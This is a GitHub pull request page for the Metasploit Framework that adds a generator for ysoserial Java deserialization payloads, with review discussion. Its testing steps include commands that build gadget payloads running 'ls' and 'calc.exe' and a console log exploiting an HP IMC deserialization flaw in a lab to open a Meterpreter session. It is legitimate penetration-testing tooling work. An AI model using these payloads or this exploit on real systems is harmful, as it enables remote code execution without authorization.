New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Import and generate dynamic `ysoserial` Java serialization objects #11125

Merged
merged 16 commits into from Jan 15, 2019

Conversation

Projects
None yet
5 participants
@asoto-r7
Copy link
Contributor

asoto-r7 commented Dec 14, 2018

Overview

Problem: Some exploit modules targeting Java deserialization vulnerabilities use "blobs" like Base64 strings, which make the code difficult to read, change, and verify. Personally, I spent a full day reverse engineering a recent Java serialized object, understanding ysoserial, and recreating a verified "blob" to land PR #10947. And yet, despite my comments and notes, it will be difficult for the next person to understand or modify. And so...

Proposed solution: To make Java serialized objects more easily readable and adaptable, this PR adds support for importing and generating dynamic objects from ysoserial and hopefully fixes #10057). Rather than invoking ysoserial directly (and all the Java overhead that would entail), this PR uses a once-run Docker container. The docker container will output a JSON file (data/ysoserial_payloads.json) containing the relevant binary and offsets so that a Metasploit library can quickly generate a dynamic Java serialized object.

Current Status

Ready for landing. Pending @wchen-r7's review.

Considerations for future work:

  • Finish support ysoserial-modified.jar with it's bash, cmd, and powershell variations.
  • Support templates with complex inputs (eg. Myfaces2 which requires a <base_url>:<classname> formatted string or URLDNS which requires a URL).

Feedback welcome! Thanks! 馃槂

Verification

  • Please review lib/msf/util/java_deserialization.rb to identify code that significantly contradicts our current or best practices.

  • Change directory to the tools/payloads/ysoserial.

# cd ~/git/r7/metasploit-framework/
# cd tools/payloads/ysoserial
  • Test the JSON building script.
# cat ./runme.sh
# ./runme.sh
  • Observe a handful of errors from 8 (currently unsupported) complex payloads, but 22 successfully generated payloads.
 DONE!  Successfully generated 0 static payloads and 22 dynamic payloads.  Skipped 8 unsupported payloads.
  • Confirm the output of the JSON file looks like properly formatted JSON and the 'data' object Base64-decodes to valid Java serialization data.
# jq -r '.["BeanShell1"]["bytes"]' ../../../data/ysoserial_payloads.json | base64 -d > /tmp/pr11125.bin
# file /tmp/pr11125.bin
# rm /tmp/pr11125.bin
  • Confirm that the above command successfully extracted a Java serialization payload.
 /tmp/pr11125.bin: Java serialization data, version 5
  • Make sure the library works when manually invoked from msfconsole. For example, to generate and write to file a CommonsBeanutils1 that invokes ls:
# msfconsole -qx 'pry'
pry> bytes = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsBeanutils1","ls")
pry> File.open("/tmp/CommonsBeanutils1_ls.metasploit.dat", 'wb') { |file| file.write(bytes) }
=> 2763
  • Generate a known-good ysoserial payload for comparison:
# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
# java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "ls" > /tmp/CommonsBeanutils1_ls.ysoserial.dat
WARNING: [...]
  • Confirm that the diff only outputs the randomized timestamp embedded by ysoserial.
# xxd /tmp/CommonsBeanutils1_ls.ysoserial.dat > /tmp/CommonsBeanutils1_ls.ysoserial.hex
# xxd /tmp/CommonsBeanutils1_ls.metasploit.dat > /tmp/CommonsBeanutils1_ls.metasploit.hex
# diff /tmp/CommonsBeanutils1_ls.ysoserial.hex /tmp/CommonsBeanutils1_ls.metasploit.hex
117,120c117,120
< 00000730: 6170 5461 626c 6501 001e 7973 6f73 6572  apTable...ysoser
< 00000740: 6961 6c2f 5077 6e65 7232 3630 3339 3132  ial/Pwner2603912
< 00000750: 3431 3533 3534 3231 0100 204c 7973 6f73  41535421.. Lysos
< 00000760: 6572 6961 6c2f 5077 6e65 7232 3630 3339  erial/Pwner26039
< 00000770: 3132 3431 3533 3534 3231 3b00 2100 0200  1241535421;.!...
---
> 00000730: 6170 5461 626c 6501 001e 6d73 4c54 5770  apTable...msLTWp
> 00000740: 3269 5236 436a 4a43 4879 3445 7249 6c45  2iR6CjJCHy4ErIlE
> 00000750: 6869 7a56 7264 4239 0100 204c 6d73 4c54  hizVrdB9.. LmsLT
> 00000760: 5770 3269 5236 436a 4a43 4879 3445 7249  Wp2iR6CjJCHy4ErI
> 00000770: 6c45 6869 7a56 7264 4239 3b00 2100 0200  lEhizVrdB9;.!...
# rm /tmp/CommonsBeanutils1_ls*
  • Confirm that length and buffer offsets appear in the JSON:
# cd ~/git/metasploit-framework
# echo -n "Length Offset for Clojure: "; jq '.["Clojure"]["lengthOffset"][]' -r data/ysoserial_payloads.json
Length Offset for Clojure: 897
# echo -n "Buffer Offset for Clojure: "; jq '.["Clojure"]["bufferOffset"][]' -r data/ysoserial_payloads.json
Length Offset for Clojure: 942
  • Confirm that length offsets function as expected, including overflowing into the upper byte:
# msfconsole -qx 'pry'
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","")[896..897].unpack('H*')
=> ["002e"]
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","A")[896..897].unpack('H*')
=> ["002f"]
::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","A"*210)[896..897].unpack('H*')
=> ["0100"]
  • Confirm that buffer offsets function as expected:
# msfconsole -qx 'pry'
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","")[941..942]
=> "\"\""
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","calc.exe")[941..951]
=> "\"calc.exe\")"
  • Finally, please confirm that the updated hp_imc_java_deserialize module works with the new updates:
msf5> use exploit/windows/http/hp_imc_java_deserialize
msf5 exploit(windows/http/hp_imc_java_deserialize) > set RHOSTS 192.168.199.152
RHOSTS => 192.168.199.152
msf5 exploit(windows/http/hp_imc_java_deserialize) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/http/hp_imc_java_deserialize) > check

[*] Verifying vulnerability by sending synchronous sleep command (5250 bytes)...
[+] Response received after 10 seconds.
[+] 192.168.199.152:8080 - The target is vulnerable.
msf5 exploit(windows/http/hp_imc_java_deserialize) > exploit

[*] Started reverse TCP handler on 192.168.199.137:4444 
[*] Sending serialized Java object (11205 bytes)...
[*] Sending stage (179779 bytes) to 192.168.199.152
[*] Meterpreter session 1 opened (192.168.199.137:4444 -> 192.168.199.152:50782) at 2019-01-04 17:13:57 -0600

meterpreter > sysinfo
Computer        : DESKTOP-Q05UKIU
OS              : Windows 10 (Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > exit

asoto-r7 added some commits Dec 14, 2018

Show resolved Hide resolved tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated
Show resolved Hide resolved tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated
Show resolved Hide resolved tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated
Show resolved Hide resolved tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated
Show resolved Hide resolved tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated
Show resolved Hide resolved tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated
Show resolved Hide resolved tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated

@bcoles bcoles referenced this pull request Dec 16, 2018

Open

Add Weblogic_serialize_rawobject CVE-2015-4852 #11131

5 of 6 tasks complete

@asoto-r7 asoto-r7 force-pushed the asoto-r7:ysoserial-payloads branch from e04c25e to 349a366 Dec 17, 2018

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Dec 18, 2018

You might wanna rename your file findYsoserialOffsets.rb to find_ysoserial_offsets.rb to maintain consistency.

asoto-r7 added some commits Dec 18, 2018

@asoto-r7 asoto-r7 added docs and removed needs-docs labels Dec 19, 2018

@asoto-r7

This comment has been minimized.

Copy link
Contributor Author

asoto-r7 commented Dec 19, 2018

@wchen: Thanks! I've renamed the helper script and added Wiki documentation. This PR is now ready for final review and potential landing.

@asoto-r7 asoto-r7 removed the delayed label Dec 19, 2018

@wchen-r7 wchen-r7 self-assigned this Dec 20, 2018

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Dec 20, 2018

I'll give this a try. Thank you!

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Dec 26, 2018

Hi @asoto-r7, I have submitted a pull request to you for the rspec. You can find it here:
asoto-r7#2

Please let me know when you have resolved the issue with hp_imc_java_deserialize.rb not getting a session, and then I'll take a look at the PR again. Thank you!

asoto-r7 added some commits Jan 2, 2019

@asoto-r7 asoto-r7 force-pushed the asoto-r7:ysoserial-payloads branch from e126f3c to ddebc29 Jan 4, 2019

@asoto-r7

This comment has been minimized.

Copy link
Contributor Author

asoto-r7 commented Jan 4, 2019

@wchen-r7: It's ready to go! I've also updated the testing steps above to provide a more thorough walkthrough.

The most significant bug was that when I randomized ysoserial fingerprintable strings, I was off-by-one in my character count.

(TANGENT: However, along the way, I had to troubleshoot offsets and values of both ysoserial and ysoserial-modified objects. To aid in that, I've added support for ysoserial-modified in the JSON generator only. It may well be worth finding a way to support both ysoserial and ysoserial-modified, but you should know that ysoserial-modified with the none parameter is not the same as ysoserial.)

To support future debugging, I've added a -m flag to the find_ysoserial_offsets.rb script, which uses ysoserial-modified and requires a terminal type (none, cmd, powershell, or bash). Additionally, I added a -d flag which suppresses normal output, but shows the offsets, payload lengths, and base values for each length offset. For example, here's a snippet of the JSON1 object:

$ cd tools/payloads/ysoserial/
$ docker build -t ysoserial-payloads . && docker run -it ysoserial-payloads /bin/bash
root@ae278276e52a:/# ruby find_ysoserial_offsets.rb -d
[...]
Generating payloads for JSON1...
  LENGTH OFFSET:  2646 = 0x0696
  LENGTH OFFSET:  3835 = 0x0000
  BUFFER OFFSETS: [3836]
  PAYLOAD LENGTH: 5222
[...]
@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Jan 7, 2019

Cool thanks! I think when you were updating your code, rspec went out of date again: https://travis-ci.org/rapid7/metasploit-framework/jobs/475527324#L2480

Could you please take a look at that? Something related to this:

     ArgumentError:
       BeanShell1 payload not found in ysoserial payloads
@asoto-r7

This comment has been minimized.

Copy link
Contributor Author

asoto-r7 commented Jan 10, 2019

@wchen-r7: I've spent the day arguing with rspec and rake locally to no avail. Your rspec looks alright to me, and I didn't change anything that would hurt this test case. Do you see anything wrong with this?

when payload status is dynamic when a command is provided returns serialized data

... should reference this in the spec/lib/msf/util/java_deserialization_spec.rb file:

    context 'when payload status is dynamic' do
      let(:payload_name) do
        'BeanShell1'
      end
[...]
      context 'when a command is provided' do
        it 'returns serialized data' do
          default_command = 'id'
          p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
          expect(p).to include('java.awt.event')
        end
      end

So, testing that manually:

msf5> pry
pry> p = Msf::Util::JavaDeserialization::ysoserial_payload("BeanShell1","id")
pry> p.include?("java.awt.event")
=> true

Looks fine to me! What am I missing?

@asoto-r7

This comment has been minimized.

Copy link
Contributor Author

asoto-r7 commented Jan 10, 2019

Jenkins test this please

EDIT: Thanks for nothing, I guess?

image

@asoto-r7

This comment has been minimized.

Copy link
Contributor Author

asoto-r7 commented Jan 11, 2019

@wchen: Thanks for the rspec, especially since it caught that I had locally updated the JSON file, but committed a version that didn't contain all the payloads. The tests are passing now and it's ready for testing. I apologize for the delay.

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Jan 14, 2019

I will try again. Thanks!

asoto-r7 added some commits Jan 14, 2019

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Jan 15, 2019

Exploit is working for me with this patch. Let me look around a bit more and then I'll try to land it. Pretty busy today w/ meetings but I think I should be able to do this today.

@wchen-r7 wchen-r7 merged commit 72d3f65 into rapid7:master Jan 15, 2019

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

wchen-r7 added a commit that referenced this pull request Jan 15, 2019

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Jan 15, 2019

Release Notes

This adds support for importing and generating dynamic objects from ysoserial to make Java serialized objects more easily readable and adaptable.

jmartin-r7 added a commit that referenced this pull request Jan 17, 2019

@asoto-r7 asoto-r7 referenced this pull request Feb 20, 2019

Open

Add Weblogic_serialize_marshalledobject CVE-2016-3510 #11134

5 of 6 tasks complete
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment